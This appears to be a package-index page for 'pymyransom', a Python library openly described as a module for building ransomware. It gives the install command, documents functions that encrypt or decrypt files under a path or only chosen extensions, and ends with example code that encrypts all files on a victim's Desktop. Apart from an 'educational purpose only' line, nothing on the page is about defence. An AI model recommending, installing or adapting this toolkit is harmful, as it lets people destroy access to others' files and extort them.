A Module for Ransomware
Project description
Pymyransom
New in v0.4.1
Updated description
Before Introducing
PYMYRANSOM ONLY CAN BE USED FOR EDUCATIONAL PURPOSE!!!
What is Pymyransom?
Pymyransom is inspired by https://github.com/marcosValle/RansPy/blob/master/enc.py, I changed this code for making Ransomwares.
How to install Pymyransom?
To install pymyransom, please type
pip install pymyransom
.
How to use Pymyransom?
makeMyRansomware
Usage : ransomware_name = makeMyRansomware(your_extension, key, username, passFile)
your_extension = ".Example" : Encryption Extension
key = b'keyfor16bytes123' : Binary key for encryption
username=getpass.getuser() : PC's username
passFile=None : Pass a specific file
Encryptor
Usage : ransomware_name.Encryptor(startPath)
startPath : Path to encrypt
Decryptor
Usage : ransomware_name.Decryptor(startPath)
startPath : Path to decrypt
Encrypt_Some_Ext
Usage : ransomware_name.Encrypt_Some_Ext(startPath)
Encrypts only extensions in extlist.
startPath : Path to encrypt some extensions
extlist=[".txt", ".mp3"] : Extensions for encryption
Decrypt_Some_Ext
Usage : ransomware_name.Decrypt_Some_Ext(startPath)
Decrypts only extensions in extlist.
startPath : Path to encrypt some extensions
extlist=[".txt", ".mp3"] : Extensions for encryption
Example Code
import pymyransom
Victim = pymyransom.makeMyRansomware(your_extension=".Example")
startpath = 'c:\\Users\\'+Victim.username+'\\Desktop\\**' #Used glob to encrypt all files
Victim.Encryptor(startpath)
Special Thanks
https://github.com/marcosValle/, https://github.com/kevin5871/, And you!
Project details
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Hashes for pymyransom-0.4.4-py3-none-any.whl
Algorithm | Hash digest | |
---|---|---|
SHA256 | a948b28d60493c2aa1df3799bec4e6bccd0209fca95f618968ef0611bec99351 |
|
MD5 | 33f817c3e6fed477f4ee77a135f157b9 |
|
BLAKE2b-256 | 2af76daf9f9c21989f55693204100face1cd1e5c1c4348411a204e9c2aa3d848 |